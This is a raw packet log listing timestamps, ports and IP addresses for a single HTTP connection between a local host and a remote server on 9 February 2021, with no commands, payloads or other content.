Feb 9, 2021 11:53:09.661695004 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661706924 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661710024 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661760092 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661767006 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661808968 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661815882 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661858082 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661864996 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661906958 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661914110 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.661957979 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.661962986 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662007093 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662012100 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662058115 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662067890 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662108898 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662118912 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662159920 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662166119 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662209988 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662225962 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662260056 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662266970 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662317991 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662319899 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662379026 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662379980 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662429094 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662437916 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662478924 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662486076 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662538052 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662538052 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662589073 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662595034 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662637949 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.662652969 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.662699938 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.663311958 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.717340946 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.717447996 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.717500925 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.717560053 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.717597008 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.717628002 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.717639923 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.717645884 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.717803001 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.717854977 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.717874050 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.717911005 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.719602108 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.719659090 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.719688892 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.719715118 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.719754934 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.719773054 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.719774961 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.719825983 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.719827890 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.719875097 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.719882965 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.719937086 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.722992897 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723050117 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723103046 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723099947 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723117113 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723161936 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723187923 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723212957 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723253012 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723262072 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723267078 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723311901 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723345995 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723361015 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723385096 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723398924 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723428965 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723448992 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723448992 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723499060 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723504066 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723557949 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723558903 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723608971 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723618031 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723659039 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723664999 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723707914 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723715067 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723757029 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723763943 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723805904 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723814011 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723866940 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723876953 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723917007 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723944902 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.723965883 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.723972082 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724015951 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724020958 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724071980 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724097013 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724124908 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724128008 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724178076 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724193096 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724225998 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724234104 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724277020 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724277973 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724328041 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724335909 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724376917 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724385977 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724426985 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724474907 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724493027 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724493980 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724546909 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724548101 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724596977 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724601984 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724654913 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724654913 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724704981 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724721909 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724756002 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724762917 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724806070 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724812031 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724854946 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724872112 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724906921 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.724924088 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.724971056 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.725145102 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.779756069 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.779820919 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.779882908 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.779936075 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.779989004 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.780018091 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.780024052 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.781886101 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.781939983 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.781991005 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.782040119 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.782042027 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.782056093 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.782062054 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.782092094 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.782093048 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.782141924 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.782149076 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.782202959 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.786748886 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.786803961 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.786854029 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.786856890 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.786885977 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.786902905 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.786917925 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.786952972 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.786966085 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.786993027 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.787002087 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.787066936 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.787297010 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.787348986 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.787363052 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.787400007 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.787405968 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.787470102 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.788621902 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.788683891 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.788717985 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.788747072 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.788799047 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.788813114 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.788815022 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.788873911 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.788881063 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.788924932 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.788937092 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.788996935 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.788999081 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789056063 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789057970 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789122105 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789127111 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789176941 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789184093 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789247036 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789251089 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789309025 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789313078 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789364100 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789371967 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789439917 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789450884 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789501905 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789516926 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789551973 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789557934 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789602041 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789609909 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789652109 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789665937 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789691925 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789737940 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.789753914 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789804935 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789856911 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789905071 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789953947 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.789968014 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.790003061 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.790040016 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.790050983 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.790071964 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.790102959 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.790105104 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.790152073 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.790158987 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.790200949 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.790242910 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.790252924 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.790256977 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.790302992 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.790317059 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.790381908 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.790493965 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.839498997 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839570045 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839629889 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839639902 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.839659929 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.839682102 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839725971 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.839732885 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839740992 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.839782953 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839819908 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.839833975 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839838028 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.839881897 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839931011 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.839931965 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839941025 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.839982033 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.839998960 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840030909 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840039015 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840082884 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840089083 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840132952 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840151072 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840183020 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840204954 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840234041 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840234995 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840281010 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840289116 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840337992 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840342999 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840387106 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840394020 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840425968 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840444088 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840464115 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840475082 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840527058 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840544939 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840575933 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840578079 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840624094 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840632915 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840673923 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840687990 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840722084 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840728998 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840771914 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840786934 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840817928 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840821028 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840869904 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840873957 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840919018 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840924978 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.840967894 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.840984106 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841017008 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841029882 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841068029 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841074944 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841120005 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841144085 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841170073 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841208935 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841223955 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841224909 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841274977 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841279984 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841325998 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841330051 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841375113 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841378927 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841433048 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841460943 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841511965 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841521978 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841582060 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841582060 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841644049 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841650009 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841701031 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841703892 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841768026 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841774940 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841840982 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841844082 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841912031 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.841916084 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841980934 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.841988087 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842056036 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842062950 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842128992 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842139959 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842206001 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842211962 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842282057 CET	80	49165	8.208.96.68	192.168.2.22
Feb 9, 2021 11:53:09.842299938 CET	49165	80	192.168.2.22	8.208.96.68
Feb 9, 2021 11:53:09.842350006 CET	49165	80	192.168.2.22	8.208.96.68
